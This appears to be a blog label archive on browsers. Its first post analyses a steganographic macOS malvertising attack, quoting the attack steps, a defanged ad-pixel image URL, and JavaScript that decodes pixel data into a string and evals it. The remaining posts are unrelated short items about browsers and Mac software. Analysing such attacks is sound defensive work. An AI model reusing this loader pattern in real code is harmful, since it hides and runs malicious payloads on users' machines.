I’d been meaning to talk about the stenographic macOS exploit for a while. It’s interesting, but doesn’t really seem to warrant the amount of press it got. The TL;DR for it seems to be, “This is a clever hack to recreate the sorts of exploit you saw all over the place five years ago pop back up briefly.”

That is, all it does is hide some code that can would’ve been fingerprinted as an attack. You still have to download something stupid (afaict) to be compromised.

Let’s hit the high points from the security blog post:

Here’s how the exploit operates:

• Create a Canvas object (this enables the use of the HTML5 Canvas API in order to interact with images and their underlying data.)
• Grab the image located at: hxxp://s.ad-pixel.com/sscc.jpg
• Define a function that checks if a specific font family is supported in the browser.
• Check if Apple fonts are supported. If not, then do nothing.
• If so, then loop through the underlying data in the image file. Each loop reads a pixel value and translates it into an alphanumeric character.
• Add the newly extracted character to a string.
• Execute the code in the string.

...

All of the landing pages have been observed to force the download of a file named AdobeFlashPlayerInstaller.iso

And here’s the secret code in action that reads from the image and pushes it into an eval:

image['onload'] = function () {
    ctx['drawImage'](image, 0x0, 0x0);
    var o = ctx['getImageData'](0x0, 0x0, image['width'], image['height']);
    for (var p = 0x0, q = 0x0; q < 0x4b; p = p + 0x4, q++) {
        rs += String['fromCharCode'](o['data'][p + 0x2]);
    }
    eval(rs);
};

That should do it for you. It treats the image as a data stream, decodes some characters, and evals them. Well, duh.

Question: Why do browsers still allow eval?

(Okay, there’s probably something where on-demand loading with require, once transpiled (and don’t get me started on transpiled code (which I use all the time professionally, true) or I’ll get out my old man stick and scare you off of my lawn), calls eval, but it seems we could distinguish between libraries loaded and eval’d and strings created on the client so that we could at least get rid of this low-hanging fruit.)

As the blog author says…

Techniques like steganography are useful for smuggling payloads without relying on hex encoded strings or bulky lookup tables.

That’s really all we’re doing… we’re using an image for encoding a payload, and security folks hadn’t thought to sniff those yet. The rest still has to trick you into opening something you didn’t ask for before you’re compromised. That is, there are other checks to prevent immediate failure.

Btw: This is why you have to turn off “Open ‘safe’ files after downloading” in Safari. You can be made to download files, and you don’t want to hand them automatically to another security issue.

This is a natural progression. Not really much to see or learn here past that.

Labels: apple, browsers, security, web

and why is the Camino version unsustainable?

Because the embedding API is no longer being maintained. Building an app that includes Gecko, vs. an app that's built *in* Gecko, is no longer supported.

An application built in XUL wouldn't be Camino, it would be something rewritten from scratch in a different technology that looked similar. It would be more like a heavily skinned Firefox than it would be like Camino, technologically speaking. None of us are interested in writing that app...

Labels: browsers, camino, os x

We at Webmonkey hope it’s obvious that building WebKit-only sites is a waste of time. If you’re only interested in iOS users then take a tip from Instagram and build a native app.

Labels: browsers, firefox, standards, webkit

In February, it was rumored that Hulu, an online streaming video destination for multiple networks, plans to make its videos available without Flash for the iPad platform. Reports then alleged that the Web site could be prepared by the time the iPad launches April 3, though it was said the service would likely be subscription only.

Labels: browsers, control, DRM, ethics, evil, html, iPad, iphone, ipod, iTunes, online distribution

Labels: browsers, seamonkey

Labels: browsers, chrome, firefox, gmail, Google

Think of incognito as a 'privacy mode' to prevent tracking from those local and also by websites sharing data about you. Since the advent of browsing the web in the 90's, parents have been slapping their kids around for their surfing habits.� Spouses have been busting each other and using computer data in court cases for custody battle.� Incognito mode throws a wrench into the whole spy game by hiding your tracks.

This is probably the most revolutionary feature to be built into current browsers since pop-up blockers.� We say current browsers because� Microsoft has been testing a similar feature in Internet Explorer v8 (Beta 2) called 'In Private' mode which also does not save browsing, search history, cookies, form data or passwords with automatic clearing of browser cache.

Labels: browsers, chrome, privacy, safari

It's our infatuation with the Google brand, more than the technology inside, that will boost Chrome's market share and further extend Google in our daily Web activities. As for being a Windows or Internet Explorer killer, don't count on it.

Labels: browsers, chrome, dancing moons, firefox, gmail, Google, java, microsoft, web 2.0 shiite, windows

Labels: browsers, Google

Today, we're rolling out major technology upgrades to both Picasa and Picasa Web Albums. As you might have guessed, these are largely focused on how we share and enjoy our photos with others.

Labels: browsers, Google, picasa

Labels: browsers, chrome, Google

The big news of the day? Google announces Google Chrome, a WebKit (yes the very same Webkit that Safari uses) based-browser.

Labels: browsers, dancing moons, Google

Some file types are blocked
As a security measure to prevent potential viruses, Gmail doesn't allow you to send or receive executable files (such as files ending in .exe) that could contain damaging executable code.

Gmail won't accept these types of files even if they are sent in a zipped (.zip, .tar, .tgz, .taz, .z, .gz) format. If this type of message is sent to your Gmail address, it is bounced back to the sender automatically.

Labels: browsers, email, evil, Google, java, microsoft

How often have you copied something only to find that you need it a few minutes later but you've already copied another item over it on the Mac Clipboard? PTHPasteboard watches you while you work and keeps a copy of any items that you have copied to your Clipboard (you can specify how many entries are cached) and also saves the clipboard through restarts. I keep it configured as a default startup item.

* NeoOffice:
* Flip4Mac: (Windows Media Player alternative)
* TextWrangler (serious text editor)
* Firefox & Thunderbird
* CyberDuck (FTP and SFTP client)
* Adium: (multi-service chat client)
* ImageTricks (sue with OS X Tiger's Core Image filters)
* MAMP (server software)
* iBackup (free backup software)
* Vienna (RSS and Atom reader)

* ToyViewer Image Viewer/Editor
* PTHPasteboard Multiple Clipboard Utility
* SpotInside Spotlight Search Enhancer
* OnyX System Maintenance and Cleaning Utility
* TigerLaunch Application Launcher
* Seashore Cocoa Open Source Graphics Program for OS X

Labels: browsers, F/free, graphicConverter, office, os x, vim

Labels: browsers, css, html